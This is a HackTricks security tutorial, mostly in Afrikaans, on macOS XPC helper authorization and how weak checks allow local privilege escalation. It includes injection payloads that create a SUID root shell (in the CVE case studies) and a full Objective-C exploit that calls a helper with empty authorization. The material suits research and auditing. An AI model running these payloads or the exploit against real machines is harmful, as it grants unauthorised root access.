macOS XPC Toestemming
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
XPC Toestemming
Apple stel ook ’n ander manier voor om te verifieer of die aansluitende proses toestemmings het om ’n blootgestelde XPC-metode aan te roep.
Wanneer ’n toepassing nodig het om aksies as ’n bevoorregte gebruiker uit te voer, in plaas daarvan om die app as ’n bevoorregte gebruiker te laat loop, installeer dit gewoonlik as root ’n HelperTool as ’n XPC-diens wat vanaf die app aangeroep kan word om daardie aksies uit te voer. Die app wat egter die diens aanroep, moet genoeg toestemming hê.
ShouldAcceptNewConnection altyd YES
’n Voorbeeld kan gevind word in EvenBetterAuthorizationSample. In App/AppDelegate.m probeer dit om na die HelperTool te verbind. En in HelperTool/HelperTool.m sal die funksie shouldAcceptNewConnection nie enige van die voorheen aangeduide vereistes kontroleer nie. Dit sal altyd YES terugstuur:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
Vir meer inligting oor hoe om hierdie kontrole behoorlik te konfigureer:
macOS XPC Connecting Process Check
Toepassingsregte
Daar is egter ’n mate van authorization wat plaasvind wanneer ’n metode van die HelperTool aangeroep word.
Die funksie applicationDidFinishLaunching in App/AppDelegate.m sal ’n leë authorization reference skep nadat die app begin het. Dit behoort altyd te werk.
Dan sal dit probeer om ’n paar regte by daardie authorization reference te voeg deur setupAuthorizationRights aan te roep:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
Die funksie setupAuthorizationRights van Common/Common.m sal die regte van die toepassing in die auth-databasis /var/db/auth.db stoor. Let daarop hoe dit slegs die regte sal byvoeg wat nog nie in die databasis is nie:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
Die funksie enumerateRightsUsingBlock is dié wat gebruik word om toepassings se toestemmings te kry, wat in commandInfo gedefinieer is:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
Dit beteken dat teen die einde van hierdie proses, die toestemmings wat binne commandInfo verklaar is, gestoor sal word in /var/db/auth.db. Let daarop dat jy daar vir elke metode wat authentication benodig, die permission name en die kCommandKeyAuthRightDefault kan vind. Laasgenoemde dui aan wie hierdie reg kan kry.
There are different scopes to indicate who can access a right. Some of them are defined in AuthorizationDB.h (you can find all of them in here), but as summary:
| Name | Value | Description |
|---|---|---|
| kAuthorizationRuleClassAllow | allow | Enigiemand |
| kAuthorizationRuleClassDeny | deny | Niemand |
| kAuthorizationRuleIsAdmin | is-admin | Huidige gebruiker moet 'n admin wees (binne admin-groep) |
| kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | Vra die gebruiker om te authenticate. |
| kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | Vra die gebruiker om te authenticate. Die gebruiker moet 'n admin wees (binne admin-groep) |
| kAuthorizationRightRule | rule | Spesifiseer reëls |
| kAuthorizationComment | comment | Gee 'n paar ekstra kommentaar oor die reg |
Verifikasie van regte
In HelperTool/HelperTool.m kyk die funksie readLicenseKeyAuthorization of die oproeper gemagtig is om so ’n metode uit te voer deur die funksie checkAuthorization te roep. Hierdie funksie sal nagaan of die authData wat deur die oproepende proses gestuur is ’n korrekte formaat het en dan sal dit nagaan wat benodig word om die reg te kry om die spesifieke metode te nooi. As alles goed gaan sal die teruggegewe error nil wees:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
Neem kennis dat om die vereistes te kontroleer om die reg te kry om daardie metode aan te roep, sal die funksie authorizationRightForCommand net die vroeër genoemde objekt commandInfo nagaan. Daarna sal dit AuthorizationCopyRights aanroep om te kontroleer of dit die regte het om die funksie aan te roep (let daarop dat die vlae interaksie met die gebruiker toelaat).
In hierdie geval, om die funksie readLicenseKeyAuthorization aan te roep, is die kCommandKeyAuthRightDefault gedefinieer as @kAuthorizationRuleClassAllow. Dus kan enigiemand dit aanroep.
DB-inligting
Daar is vermeld dat hierdie inligting gestoor is in /var/db/auth.db. Jy kan al die gestoorde reëls lys met:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
Dan kan jy lees wie toegang tot die reg het met:
security authorizationdb read com.apple.safaridriver.allow
Permissiewe regte
Jy kan al die permissiekonfigurasies hier vind, maar die kombinasies wat nie user interaction sal vereis nie, is:
- ‘authenticate-user’: ‘false’
- Dit is die mees direkte sleutel. As dit op
falsegestel is, dui dit aan dat ’n user nie authentication hoef te verskaf om hierdie reg te verkry nie. - Dit word gebruik in kombinasie met een van die 2 hieronder of deur ’n groep aan te dui waartoe die user moet behoort.
- ‘allow-root’: ‘true’
- As ’n user as die root user optree (wat verhoogde permissies het), en hierdie key is op
truegestel, kan die root user moontlik hierdie reg kry sonder verdere authentication. Oor die algemeen vereis dit egter om root user status te bereik alreeds authentication, so dit is vir die meeste users nie ’n “no authentication” scenario nie.
- ‘session-owner’: ‘true’
- As dit op
truegestel is, sal die eienaar van die sessie (die tans aangemelde user) outomaties hierdie reg kry. Dit kan addisionele authentication omseil as die user reeds aangemeld is.
- ‘shared’: ‘true’
- Hierdie sleutel verleen nie regte sonder authentication nie. In plaas daarvan, as dit op
truegestel is, beteken dit dat sodra die reg ge-authenticate is, dit tussen verskeie prosesse gedeel kan word sonder dat elkeen weer moet re-authenticate. Maar die aanvanklike verlening van die reg sal steeds authentication vereis tensy dit gekombineer word met ander sleutels soos'authenticate-user': 'false'.
Jy kan hierdie script gebruik om die interessante regte te kry:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Authorization Bypass Gevalstudies
- CVE-2025-65842 – Acustica Audio Aquarius HelperTool: Die geprivilegieerde Mach-diens
com.acustica.HelperToolaanvaar elke verbinding en sycheckAuthorization:-roetine roepAuthorizationCopyRights(NULL, …)aan, sodat enige 32‑byte blob deurgaan.executeCommand:authorization:withReply:voer dan deur die aanvaller-beheerde, deur kommas geskeide stringe inNSTaskas root in, en skep payloads soos:
"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
trivially create a SUID root shell. Details in this write-up.
- CVE-2025-55076 – Plugin Alliance InstallationHelper: Die listener keer altyd YES terug en dieselfde NULL
AuthorizationCopyRights-patroon verskyn incheckAuthorization:. MetodeexchangeAppWithReply:plak aanvaller-inset in ’nsystem()-string twee keer, so deur shell-metakarakters inappPathin te voeg (bv."/Applications/Test.app";chmod 4755 /tmp/rootbash;) kry jy uitvoering van kode as root via die Mach-dienscom.plugin-alliance.pa-installationhelper. More info here. - CVE-2024-4395 – Jamf Compliance Editor helper: Die uitvoering van ’n audit laat
/Library/LaunchDaemons/com.jamf.complianceeditor.helper.plistval, openbaar die Mach-dienscom.jamf.complianceeditor.helper, en exporteer-executeScriptAt:arguments:then:sonder om die aanroeper seAuthorizationExternalFormof code signature te verifieer. ’n Triviale eksploiteer roepAuthorizationCreateom ’n leë verwysing te maak, verbind met[[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged], en roep die metode aan om arbitrêre binaries as root uit te voer. Full reversing notes (plus PoC) in Mykola Grymalyuk’s write-up. - CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 en 7.4.0–7.4.2 het vervaardigde XPC-boodskappe aanvaar wat ’n bevoorregte helper bereik het wat geen autorisasie-kontroles gehad het nie. Omdat die helper sy eie bevoorregte
AuthorizationRefvertrou het, kon enige plaaslike gebruiker wat die diens kan boodskap, dit dwing om arbitrêre konfigurasiewijzigings of opdragte as root uit te voer. Details in SentinelOne’s advisory summary.
Rapid triage tips
- When an app ships both a GUI and helper, diff their code requirements and check whether
shouldAcceptNewConnectionlocks the listener with-setCodeSigningRequirement:(or validatesSecCodeCopySigningInformation). Missing checks usually yield CWE-863 scenarios like the Jamf case. A quick peek looks like:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
- Vergelyk wat die helper dink dit magtig met wat die client voorsien. Wanneer jy reverse-engineer, breek by
AuthorizationCopyRightsen bevestig dat dieAuthorizationRefafkomstig is vanAuthorizationCreateFromExternalForm(deur die client verskaf) in plaas van die helper’s eie geprivilegieerde konteks; anders het jy waarskynlik ’n CWE-863-patroon gevind wat soortgelyk is aan die gevalle hierbo.
Omkering van Authorization
Nagaan of EvenBetterAuthorization gebruik word
As jy die funksie vind: [HelperTool checkAuthorization:command:] is dit waarskynlik dat die proses die vroeër genoemde skema vir magtiging gebruik:
.png)
Indien hierdie funksie funksies soos AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree aanroep, gebruik dit EvenBetterAuthorizationSample.
Kyk na die /var/db/auth.db om te sien of dit moontlik is om toestemming te kry om ’n geprivilegieerde aksie sonder gebruikersinteraksie aan te roep.
Protokolkommunikasie
Dan moet jy die protokolskema vind om ’n kommunikasie met die XPC service te kan vestig.
Die funksie shouldAcceptNewConnection dui die protokol aan wat uitgevoer word:
.png)
In hierdie geval het ons dieselfde as in EvenBetterAuthorizationSample, kyk na hierdie reël.
As jy die naam van die gebruikte protokol ken, is dit moontlik om sy header-definisie te dump met:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
Laastens, ons hoef net die naam van die blootgestelde Mach Service te weet om kommunikasie daarmee tot stand te bring. Daar is verskeie maniere om dit te vind:
- In die
[HelperTool init]waar jy die Mach Service kan sien wat gebruik word:
.png)
- In die launchd plist:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Exploit Voorbeeld
In hierdie voorbeeld word die volgende geskep:
- Die definisie van die protokol met die funksies
- ’n leë auth om te gebruik om toegang te vra
- ’n verbinding met die XPC service
- ’n oproep na die funksie as die verbinding suksesvol was
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
Ander misbruikte XPC-voorreghulpe
Verwysings
- https://theevilbit.github.io/posts/secure_coding_xpc_part1/
- https://khronokernel.com/macos/2024/05/01/CVE-2024-4395.html
- https://www.sentinelone.com/vulnerability-database/cve-2025-25251/
- https://almightysec.com/helpertool-xpc-service-local-privilege-escalation/
- https://almightysec.com/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation/
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


